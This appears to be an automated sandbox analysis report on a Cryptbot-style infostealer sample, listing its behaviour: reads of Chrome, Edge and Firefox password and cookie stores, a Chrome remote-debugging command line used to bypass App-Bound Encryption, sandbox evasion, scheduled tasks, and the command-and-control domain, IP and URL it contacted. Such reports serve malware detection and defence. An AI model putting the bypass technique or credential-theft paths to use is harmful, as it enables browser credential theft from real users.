Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.13.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 8.2.service123.exe.6c0d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7080, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1561814 Sample: file.exe Startdate: 24/11/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 Antivirus detection for URL or domain 2->54 56 9 other signatures 2->56 7 file.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 2 other processes 2->16 process3 dnsIp4 40 fvtekk5pn.top 34.116.198.130, 49730, 49737, 49738 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 7->40 42 127.0.0.1 unknown unknown 7->42 44 home.fvtekk5pn.top 7->44 36 C:\Users\user\...\unmYCIPOHmXNjqOesrEy.dll, PE32 7->36 dropped 38 C:\Users\user\AppData\...\service123.exe, PE32 7->38 dropped 64 Attempt to bypass Chrome Application-Bound Encryption 7->64 66 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->66 68 Uses schtasks.exe or at.exe to add and modify task schedules 7->68 70 7 other signatures 7->70 18 service123.exe 7->18         started        21 WerFault.exe 21 16 7->21         started        24 chrome.exe 7->24         started        27 schtasks.exe 1 7->27         started        file5 signatures6 process7 dnsIp8 58 Multi AV Scanner detection for dropped file 18->58 60 Found evasive API chain (may stop execution after checking mutex) 18->60 62 Found stalling execution ending in API Sleep call 18->62 34 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->34 dropped 46 239.255.255.250 unknown Reserved 24->46 29 chrome.exe 24->29         started        32 conhost.exe 27->32         started        file9 signatures10 process11 dnsIp12 48 www.google.com 142.250.181.68, 443, 49747 GOOGLEUS United States 29->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
239.255.255.250
 unknown Reserved
unknown unknown false
34.116.198.130
 home.fvtekk5pn.top United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
142.250.181.68
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
home.fvtekk5pn.top 34.116.198.130 true
www.google.com 142.250.181.68 true
fvtekk5pn.top 34.116.198.130 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347 false
    		high